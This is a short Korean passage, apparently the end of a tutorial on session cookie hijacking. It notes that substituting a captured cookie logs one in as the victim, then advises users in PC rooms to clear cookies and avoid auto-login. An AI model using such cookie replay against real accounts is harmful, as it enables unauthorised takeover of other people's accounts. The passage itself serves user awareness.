여기서 획득한 Cookie로 변경을 하면 victim 의 권한으로 로그인이 되는걸 볼 수 있습니다.





























일반적으로 PC room 에서 web surfing 을 하게되면 자신의 Cookie 값이 저장이 됩니다.
타인이 그 쿠키값을 획득하게 되면 문제가 될 수 있습니다. 
공공장소에선 항상 자신의 쿠키값을 지운후 자리를 비우도록 하고, 개인 p/c 가 이닌이상
portal site 자동 로그인 기능은 사용하지 않는것이 좋습니다.